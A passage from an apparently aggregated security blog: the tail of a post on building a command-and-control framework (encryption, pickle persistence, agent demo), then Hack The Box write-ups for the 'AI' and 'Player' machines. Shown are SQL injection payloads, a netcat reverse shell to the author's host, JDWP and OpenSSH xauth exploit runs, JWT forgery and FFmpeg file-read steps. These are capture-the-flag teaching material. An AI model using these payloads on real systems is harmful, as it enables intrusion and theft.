    [System.Convert]::ToBase64String($fullData)
}

The opposite of this process happens with the Decrypt function:

function Decrypt($key, $encryptedStringWithIV) {
    
    $bytes           = [System.Convert]::FromBase64String($encryptedStringWithIV)
    $IV              = $bytes[0..15]
    $aesManaged      = Create-AesManagedObject $key $IV
    $decryptor       = $aesManaged.CreateDecryptor();
    $unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
    $aesManaged.Dispose()
    [System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)

}

Listeners / Agents Persistency

I used pickle to serialize agents and listeners and save them in databases, when you exit the server it saves all of the agent objects and listeners, then when you start it again it loads those objects again so you don’t lose your agents or listeners.

For the listeners, pickle can’t serialize objects that use threads, so instead of saving the objects themselves I created a dictionary that holds all the information of the active listeners and serialized that, the server loads that dictionary and starts the listeners again according to the options in the dictionary.

I created wrapper functions that read, write and remove objects from the databases:

def readFromDatabase(database):
    
    data = []

    with open(database, 'rb') as d:
        
        while True:
            try:
                data.append(pickle.load(d))
            except EOFError:
                break
    
    return data

def writeToDatabase(database,newData):
    
    with open(database, "ab") as d:
        pickle.dump(newData, d, pickle.HIGHEST_PROTOCOL)

def removeFromDatabase(database,name):
    
    data = readFromDatabase(database)
    final = OrderedDict()

    for i in data:
        final[i.name] = i
    
    del final[name]
    
    with open(database, "wb") as d:
        for i in final:
            pickle.dump(final[i], d , pickle.HIGHEST_PROTOCOL)

Demo

I will show you a quick demo on a Windows Server 2016 target.

This is how the home of the server looks like:




Let’s start by creating a listener:




Now let’s create a payload, I created the three available payloads:




After executing the payloads on the target we’ll see that the agents successfully contacted the server:




Let’s rename the agents:





I executed 4 simple commands on each agent:






Then I tasked each agent to quit.

And that concludes this blog post, as I said before I would appreciate all the feedback and the suggestions so feel free to contact me on twitter @Ahm3d_H3sham.

If you liked the article tweet about it, thanks for reading.

✇ 0xRick

Hack The Box - AI

By: 0xRick

Hack The Box - AI

Quick Summary

Hey guys, today AI retired and here’s my write-up about it. It’s a medium rated Linux box and its ip is 10.10.10.163, I added it to /etc/hosts as ai.htb. Let’s jump right in !


Nmap

As always we will start with nmap to scan for open ports and services:

[email protected]:~/Desktop/HTB/boxes/AI# nmap -sV -sT -sC -o nmapinitial ai.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-24 17:46 EST
Nmap scan report for ai.htb (10.10.10.163)
Host is up (0.83s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 6d:16:f4:32:eb:46:ca:37:04:d2:a5:aa:74:ed:ab:fc (RSA)
|   256 78:29:78:d9:f5:43:d1:cf:a0:03:55:b1:da:9e:51:b6 (ECDSA)
|_  256 85:2e:7d:66:30:a6:6e:30:04:82:c1:ae:ba:a4:99:bd (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Hello AI!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 123.15 seconds
[email protected]:~/Desktop/HTB/boxes/AI# 

We got ssh on port 22 and http on port 80.

Web Enumeration

The index page was empty:


By hovering over the logo a menu appears:


The only interesting page there was /ai.php. From the description (“Drop your query using wav file.”) my first guess was that it’s a speech recognition service that processes users’ input and executes some query based on that processed input, And there’s also a possibility that this query is a SQL query but we’ll get to that later.:


I also found another interesting page with gobuster:

[email protected]:~/Desktop/HTB/boxes/AI# gobuster dir -u http://ai.htb/ -w /usr/share/wordlists/dirb/common.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://ai.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     php
[+] Timeout:        10s
===============================================================
2020/01/24 18:57:23 Starting gobuster
===============================================================
----------
 REDACTED
----------
/intelligence.php (Status: 200)
----------
 REDACTED
----------
===============================================================
2020/01/24 19:00:49 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/AI# 

It had some instructions on how to use their speech recognition:


I used ttsmp3.com to generate audio files and I created a test file:


But because the application only accepts wav files I converted the mp3 file with ffmpeg:

[email protected]:~/Desktop/HTB/boxes/AI/test# mv ~/Downloads/ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 .
[email protected]:~/Desktop/HTB/boxes/AI/test# ffmpeg -i ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3 ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav
ffmpeg version 4.2.1-2+b1 Copyright (c) 2000-2019 the FFmpeg developers
  built with gcc 9 (Debian 9.2.1-21)
  configuration: --prefix=/usr --extra-version=2+b1 --toolchain=hardened --libdir=/usr/lib/x86_64-linux-gnu --incdir=/usr/include/x86_64-linux-gnu --arch=amd64 --enable-gpl --disable-stripping --enable-avresample --disable-filter=resample --enable-avisynth --enable-gnutls --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libbs2b --enable-libcaca --enable-libcdio --enable-libcodec2 --enable-libflite --enable-libfontconfig --enable-libfreetype --enable-libfribidi --enable-libgme --enable-libgsm --enable-libjack --enable-libmp3lame --enable-libmysofa --enable-libopenjpeg --enable-libopenmpt --enable-libopus --enable-libpulse --enable-librsvg --enable-librubberband --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libtwolame --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx265 --enable-libxml2 --enable-libxvid --enable-libzmq --enable-libzvbi --enable-lv2 --enable-omx --enable-openal --enable-opengl --enable-sdl2 --enable-libdc1394 --enable-libdrm --enable-libiec61883 --enable-chromaprint --enable-frei0r --enable-libx264 --enable-shared
  libavutil      56. 31.100 / 56. 31.100
  libavcodec     58. 54.100 / 58. 54.100
  libavformat    58. 29.100 / 58. 29.100
  libavdevice    58.  8.100 / 58.  8.100
  libavfilter     7. 57.100 /  7. 57.100
  libavresample   4.  0.  0 /  4.  0.  0
  libswscale      5.  5.100 /  5.  5.100
  libswresample   3.  5.100 /  3.  5.100
  libpostproc    55.  5.100 / 55.  5.100
[mp3 @ 0x55b33e5f88c0] Estimating duration from bitrate, this may be inaccurate
Input #0, mp3, from 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.mp3':
  Metadata:
    encoder         : Lavf57.71.100
  Duration: 00:00:00.63, start: 0.000000, bitrate: 48 kb/s
    Stream #0:0: Audio: mp3, 22050 Hz, mono, fltp, 48 kb/s
Stream mapping:
  Stream #0:0 -> #0:0 (mp3 (mp3float) -> pcm_s16le (native))
Press [q] to stop, [?] for help
Output #0, wav, to 'ttsMP3.com_VoiceText_2020-1-24_19_35_47.wav':
  Metadata:
    ISFT            : Lavf58.29.100
    Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 22050 Hz, mono, s16, 352 kb/s
    Metadata:
      encoder         : Lavc58.54.100 pcm_s16le
size=      27kB time=00:00:00.62 bitrate= 353.8kbits/s speed= 146x    
video:0kB audio:27kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.282118%
[email protected]:~/Desktop/HTB/boxes/AI/test# 





SQL injection –> Alexa’s Credentials –> SSH as Alexa –> User Flag

As I said earlier, we don’t know what does it mean by “query” but it can be a SQL query. When I created another audio file that says it's a test I got a SQL error because of ' in it's:


The injection part was the hardest part of this box because it didn’t process the audio files correctly most of the time, and it took me a lot of time to get my payloads to work.
First thing I did was to get the database name.
Payload:

one open single quote union select database open parenthesis close parenthesis comment database




The database name was alexa, next thing I did was enumerating table names, my payload was like the one shown below and I kept changing the test after from and tried possible and common things.
Payload:

one open single quote union select test from test comment database




The table users existed.
Payload:

one open single quote union select test from users comment database




From here it was easy to guess the column names, username and password. The problem with username was that it processed user and name as two different words so I couldn’t make it work.
Payload:

one open single quote union select username from users comment database




password worked just fine.
Payload:

one open single quote union select password from users comment database




Without knowing the username we can’t do anything with the password, I tried alexa which was the database name and it worked:


We owned user.

JDWP –> Code Execution –> Root Shell –> Root Flag

Privilege escalation on this box was very easy, when I checked the running processes I found this one:

[email protected]:~$ ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
----------
 REDACTED
----------
root      89984 18.8  5.4 3137572 110120 ?      Sl   22:44   0:06 /usr/bin/java -Djava.util.logging.config.file=/opt/apache-tomcat-9.0.27/conf/logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -Dorg.apache.catalina.security.SecurityListener.UMASK=0027 -agentlib:jdwp=transport=dt_socket,address=localhost:8000,server=y,suspend=n -Dignore.endorsed.dirs= -classpath /opt/apache-tomcat-9.0.27/bin/bootstrap.jar:/opt/apache-tomcat-9.0.27/bin/tomcat-juli.jar -Dcatalina.base=/opt/apache-tomcat-9.0.27 -Dcatalina.home=/opt/apache-tomcat-9.0.27 -Djava.io.tmpdir=/opt/apache-tomcat-9.0.27/temp org.apache.catalina.startup.Bootstrap start
----------
 REDACTED
----------
[email protected]:~$

This was related to an Apache Tomcat server that was running on localhost, I looked at that server for about 10 minutes but it was empty and I couldn’t do anything there, it was a rabbit hole. If we check the listening ports we’ll see 8080, 8005 and 8009 which is perfectly normal because these are the ports used by tomcat, but we’ll also see 8000:

[email protected]:~$ netstat -ntlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 127.0.0.1:8080          :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:8005          :::*                    LISTEN      -
tcp6       0      0 127.0.0.1:8009          :::*                    LISTEN      -
[email protected]:~$ 

A quick search on that port and how it’s related to tomcat revealed that it’s used for debugging, jdwp is running on that port.

The Java Debug Wire Protocol (JDWP) is the protocol used for communication between a debugger and the Java virtual machine (VM) which it debugs (hereafter called the target VM). -docs.oracle.com

By looking at the process again we can also see this parameter given to the java binary:

-agentlib:jdwp=transport=dt_socket,address=localhost:8000

I searched for exploits for the jdwp service and found this exploit. I uploaded the python script on the box and I added the reverse shell payload to a file and called it pwned.sh then I ran the exploit:

[email protected]:/dev/shm$ nano pwned.sh 
[email protected]:/dev/shm$ chmod +x pwned.sh 
[email protected]:/dev/shm$ cat pwned.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
[email protected]:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'

Then from another ssh session I triggered a connection on port 8005:

[email protected]:~$ nc localhost 8005


And the code was executed:

[email protected]:/dev/shm$ nano pwned.sh 
[email protected]:/dev/shm$ chmod +x pwned.sh 
[email protected]:/dev/shm$ cat pwned.sh 
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f
[email protected]:/dev/shm$ python jdwp-shellifier.py -t 127.0.0.1 --cmd /dev/shm/pwned.sh
[+] Targeting '127.0.0.1:8000'
[+] Reading settings for 'OpenJDK 64-Bit Server VM - 11.0.4'
[+] Found Runtime class: id=b8c
[+] Found Runtime.getRuntime(): id=7f40bc03e790
[+] Created break event id=2
[+] Waiting for an event on 'java.net.ServerSocket.accept'
[+] Received matching event from thread 0x1
[+] Selected payload '/dev/shm/pwned.sh'
[+] Command string object created id:c31
[+] Runtime.getRuntime() returned context id:0xc32
[+] found Runtime.exec(): id=7f40bc03e7c8
[+] Runtime.exec() successful, retId=c33
[!] Command successfully executed
[email protected]:/dev/shm$ 




And we owned root ! That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Player

✇ 0xRick

Hack The Box - Player

By: 0xRick

Hack The Box - Player

Quick Summary

Hey guys, today Player retired and here’s my write-up about it. It was a relatively hard CTF-style machine with a lot of enumeration and a couple of interesting exploits. It’s a Linux box and its ip is 10.10.10.145, I added it to /etc/hosts as player.htb. Let’s jump right in !




Nmap

As always we will start with nmap to scan for open ports and services:

[email protected]:~/Desktop/HTB/boxes/player# nmap -sV -sT -sC -o nmapinitial player.htb 
Starting Nmap 7.80 ( https://nmap.org ) at 2020-01-17 16:29 EST
Nmap scan report for player.htb (10.10.10.145)
Host is up (0.35s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 d7:30:db:b9:a0:4c:79:94:78:38:b3:43:a2:50:55:81 (DSA)
|   2048 37:2b:e4:31:ee:a6:49:0d:9f:e7:e6:01:e6:3e:0a:66 (RSA)
|   256 0c:6c:05:ed:ad:f1:75:e8:02:e4:d2:27:3e:3a:19:8f (ECDSA)
|_  256 11:b8:db:f3:cc:29:08:4a:49:ce:bf:91:73:40:a2:80 (ED25519)
80/tcp open  http    Apache httpd 2.4.7
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 403 Forbidden
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.12 seconds
[email protected]:~/Desktop/HTB/boxes/player# 

We got http on port 80 and ssh on port 22.

Web Enumeration

I got a 403 response when I went to http://player.htb/:


I used wfuzz with subdomains-top1mil-5000.txt from seclists to enumerate virtual hosts and got these results:

[email protected]:~/Desktop/HTB/boxes/player# wfuzz --hc 403 -c -w subdomains-top1mil-5000.txt -H "HOST: FUZZ.player.htb" http://10.10.10.145

Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.

********************************************************
* Wfuzz 2.4 - The Web Fuzzer                           *
********************************************************
Target: http://10.10.10.145/
Total requests: 4997
===================================================================
ID           Response   Lines    Word     Chars       Payload
===================================================================
000000019:   200        86 L     229 W    5243 Ch     "dev"
000000067:   200        63 L     180 W    1470 Ch     "staging"
000000070:   200        259 L    714 W    9513 Ch     "chat"

Total time: 129.1540
Processed Requests: 4997
Filtered Requests: 4994
Requests/sec.: 38.69021

[email protected]:~/Desktop/HTB/boxes/player# 

I added them to my hosts file and started checking each one of them.
On dev there was an application that needed credentials so we’ll skip that one until we find some credentials:


staging was kinda empty but there was an interesting contact form:




The form was interesting because when I attempted to submit it I got a weird error for a second then I got redirected to /501.php:



I intercepted the request with burp to read the error.
Request:

GET /contact.php?firstname=test&subject=test HTTP/1.1
Host: staging.player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://staging.player.htb/contact.html
Connection: close
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 200 OK
Date: Fri, 17 Jan 2020 19:54:33 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
refresh: 0;url=501.php
Vary: Accept-Encoding
Content-Length: 818
Connection: close
Content-Type: text/html

array(3) {
  [0]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(6)
    ["function"]=>
    string(1) "c"
    ["args"]=>
    array(1) {
      [0]=>
      &string(9) "Cleveland"
    }
  }
  [1]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(3)
    ["function"]=>
    string(1) "b"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Glenn"
    }
  }
  [2]=>
  array(4) {
    ["file"]=>
    string(28) "/var/www/staging/contact.php"
    ["line"]=>
    int(11)
    ["function"]=>
    string(1) "a"
    ["args"]=>
    array(1) {
      [0]=>
      &string(5) "Peter"
    }
  }
}
Database connection failed.<html><br />Unknown variable user in /var/www/backup/service_config fatal error in /var/www/staging/fix.php

The error exposed some filenames like /var/www/backup/service_config, /var/www/staging/fix.php and /var/www/staging/contact.php. That will be helpful later.
chat was a static page that simulated a chat application:


I took a quick look at the chat history between Olla and Vincent, Olla asked him about some pentest reports and he replied with 2 interesting things :



  1. Staging exposing sensitive files.
  2. Main domain exposing source code allowing to access the product before release.

We already saw that staging was exposing files, I ran gobuster on the main domain and found /launcher:

[email protected]:~/Desktop/HTB/boxes/player# gobuster dir -u http://player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://player.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/01/17 19:17:29 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/launcher (Status: 301)
/server-status (Status: 403)
===============================================================
2020/01/17 19:18:59 Finished
===============================================================
[email protected]:~/Desktop/HTB/boxes/player# 

http://player.htb/launcher:


I tried to submit that form but it did nothing, I just got redirected to /launcher again: Request:

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IkMwQjEzN0ZFMkQ3OTI0NTlGMjZGRjc2M0NDRTQ0NTc0QTVCNUFCMDMifQ.cjGwng6JiMiOWZGz7saOdOuhyr1vad5hAxOJCiM3uzU
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:45:04 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: index.html
Content-Length: 0
Connection: close
Content-Type: text/html

We know from the chat that the source code is exposed somewhere, I wanted to read the source of /launcher/dee8dc8a47256c64630d803a4c40786c.php so I tried some basic stuff like adding .swp, .bak and ~ after the file name. ~ worked (check this out):

[email protected]:~/Desktop/HTB/boxes/player# curl http://player.htb/launcher/dee8dc8a47256c64630d803a4c40786c.php~
<?php
require 'vendor/autoload.php';

use \Firebase\JWT\JWT;

if(isset($_COOKIE["access"]))
{
        $key = '[email protected][email protected]_';
        $decoded = JWT::decode($_COOKIE["access"], base64_decode(strtr($key, '-_', '+/')), ['HS256']);
        if($decoded->access_code === "0E76658526655756207688271159624026011393")
        {
                header("Location: 7F2xxxxxxxxxxxxx/");
        }
        else
        {
                header("Location: index.html");
        }
}
else
{
        $token_payload = [
          'project' => 'PlayBuff',
          'access_code' => 'C0B137FE2D792459F26FF763CCE44574A5B5AB03'
        ];
        $key = '[email protected][email protected]_';
        $jwt = JWT::encode($token_payload, base64_decode(strtr($key, '-_', '+/')), 'HS256');
        $cookiename = 'access';
        setcookie('access',$jwt, time() + (86400 * 30), "/");
        header("Location: index.html");
}

?>
[email protected]:~/Desktop/HTB/boxes/player#

It decodes the JWT token from the cookie access and redirects us to a redacted path if the value of access_code was 0E76658526655756207688271159624026011393, otherwise it will assign an access cookie for us with C0B137FE2D792459F26FF763CCE44574A5B5AB03 as the value of access_code and redirect us to index.html.
We have the secret [email protected][email protected]_ so we can easily craft a valid cookie. I used jwt.io to edit my token.




I used the cookie and got redirected to /7F2dcsSdZo6nj3SNMTQ1: Request:

GET /launcher/dee8dc8a47256c64630d803a4c40786c.php HTTP/1.1
Host: player.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://player.htb/launcher/index.html
Connection: close
Cookie: access=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJwcm9qZWN0IjoiUGxheUJ1ZmYiLCJhY2Nlc3NfY29kZSI6IjBFNzY2NTg1MjY2NTU3NTYyMDc2ODgyNzExNTk2MjQwMjYwMTEzOTMifQ.VXuTKqw__J4YgcgtOdNDgsLgrFjhN1_WwspYNf_FjyE
Upgrade-Insecure-Requests: 1

Response:

HTTP/1.1 302 Found
Date: Fri, 17 Jan 2020 22:50:59 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.26
Location: 7F2dcsSdZo6nj3SNMTQ1/
Content-Length: 0
Connection: close
Content-Type: text/html




FFmpeg HLS Vulnerability –> Arbitrary File Read

I uploaded a test txt file:



I got an avi file as a result which was weird:

<a href="http:\/\/player.htb/launcher/7F2dcsSdZo6nj3SNMTQ1/uploads/518515582.avi">

I tried some other file formats and I also got an avi file.
So I tried the ffmpeg HLS exploit, I created a test avi to read /etc/passwd and it worked:

[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///etc/passwd test.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# file test.avi 
test.avi: RIFF (little-endian) data, AVI, 224 x 160, 25.00 fps,
[email protected]:~/Desktop/HTB/boxes/player/avi#




I created 3 more avis to read the files we got earlier from the error message from staging:

[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/contact.php contact.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/backup/service_config service_config.avi
[email protected]:~/Desktop/HTB/boxes/player/avi# ./gen_xbin_avi.py file:///var/www/staging/fix.php fix.avi
[email protected]:~/Desktop/HTB/boxes/player/avi#

contact.php didn’t have anything interesting and the avi for fix.php was empty for some reason. In service_config there were some credentials for a user called telegen:


I tried these credentials with ssh and with dev.player.htb and they didn’t work. I ran a quick full port scan with masscan and turns out that there was another open port:

[email protected]:~/Desktop/HTB/boxes/player# masscan -p1-65535 10.10.10.145 --rate=1000 -e tun0

Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-01-18 00:09:24 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 22/tcp on 10.10.10.145                                    
Discovered open port 80/tcp on 10.10.10.145                                    
Discovered open port 6686/tcp on 10.10.10.145

I scanned that port with nmap but it couldn’t identify the service:

PORT     STATE SERVICE    VERSION
6686/tcp open  tcpwrapped

However when I connected to the port with nc the banner indicated that it was an ssh server:

[email protected]:~/Desktop/HTB/boxes/player# nc player.htb 6686
SSH-2.0-OpenSSH_7.2

Protocol mismatch.
[email protected]:~/Desktop/HTB/boxes/player#

I could login to that ssh server with the credentials, but unfortunately I was in a restricted environment:

[email protected]:~/Desktop/HTB/boxes/player# ssh [email protected] -p 6686
The authenticity of host '[player.htb]:6686 ([10.10.10.145]:6686)' can't be established.
ECDSA key fingerprint is SHA256:oAcCXvit3SHvyq7nuvWntLq+Q+mGlAg8301zhKnJmPM.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[player.htb]:6686,[10.10.10.145]:6686' (ECDSA) to the list of known hosts.
[email protected]'s password: 
Last login: Tue Apr 30 18:40:13 2019 from 192.168.0.104
Environment:
  USER=telegen
  LOGNAME=telegen
  HOME=/home/telegen
  PATH=/usr/bin:/bin:/usr/sbin:/sbin:/usr/local/bin
  MAIL=/var/mail/telegen
  SHELL=/usr/bin/lshell
  SSH_CLIENT=10.10.xx.xx 43270 6686
  SSH_CONNECTION=10.10.xx.xx 43270 10.10.10.145 6686
  SSH_TTY=/dev/pts/4
  TERM=screen
========= PlayBuff ==========
Welcome to Staging Environment

telegen:~$ whoami
*** forbidden command: whoami
telegen:~$ help
  clear  exit  help  history  lpath  lsudo
telegen:~$ lsudo
Allowed sudo commands:
telegen:~$ lpath
Allowed:
 /home/telegen
telegen:~$ pwd
*** forbidden command: pwd
telegen:~$ 

OpenSSH 7.2p1 xauth Command Injection –> User Flag

When I searched for exploits for that version of openssh I found this exploit.

[email protected]:~/Desktop/HTB/boxes/player# python 39569.py 
 Usage: <host> <port> <username> <password or path_to_privkey>
        
        path_to_privkey - path to private key in pem format, or '.demoprivkey' to use demo private key
        

[email protected]:~/Desktop/HTB/boxes/player# python 39569.py player.htb 6686 telegen 'd-bC|jC!2uepS/w'
INFO:__main__:connecting to: telegen:d-bC|jC!2uepS/[email protected]:6686
INFO:__main__:connected!
INFO:__main__:
Available commands:
    .info
    .readfile <path>
    .writefile <path> <data>
    .exit .quit
    <any xauth command or type help>

#> .readfile /etc/passwd
DEBUG:__main__:auth_cookie: 'xxxx\nsource /etc/passwd\n'
DEBUG:__main__:dummy exec returned: None
INFO:__main__:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
telegen:x:1000:1000:telegen,,,:/home/telegen:/usr/bin/lshell
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
mysql:x:105:113:MySQL
colord:x:106:116:colord
staged-dev:x:4000000000:1001::/home/staged-dev:/bin/sh
#> 

I tried to use .writefile to write a php file and get a reverse shell but I couldn’t do that. But anyway I was finally able to read the user flag:


Credentials in fix.php –> RCE –> Shell as www-data

Earlier I couldn’t read fix.php through the ffmpeg exploit, I was able to read it as telegen and I found credentials for a user called peter:

#> .readfile /var/www/staging/fix.php                                    
DEBUG:__main__:auth_cookie: 'xxxx\nsource /var/www/staging/fix.php\n'          
DEBUG:__main__:dummy exec returned: None
INFO:__main__:<?php       
class                            
protected                                          
protected                                      
protected                                      
public                                       
return                                          
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
if($result
static::failed($test_name);
}
static::passed($test_name);
}
}
public
if(!$username){
$username
$password
}
//modified
//for
//fix
//peter
//CQXpm\z)G5D#%S$y=
}
public
if($result
static::passed($test_name);
}
static::failed($test_name);
}
}
public
echo
echo
echo
}
private
echo
static::$failed++;
}
private
static::character(".");
static::$passed++;
}
private
echo
static::$last_echoed
}
private
if(static::$last_echoed
echo
static::$last_echoed
}
}
#> 

These credentials (peter : CQXpm\z)G5D#%S$y=) worked with dev.player.htb:



I tried to create a new project in /var/www/html:


But I got an error saying that I was only allowed to create projects in /var/www/demo/home so I created a project there:


When I ran gobuster on http://dev.player.htb/ there was a directory called home:

[email protected]:~/Desktop/HTB/boxes/player# gobuster dir -u http://dev.player.htb/ -w /usr/share/wordlists/dirb/common.txt 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://dev.player.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/01/17 20:18:00 Starting gobuster
===============================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/components (Status: 301)
/data (Status: 301)
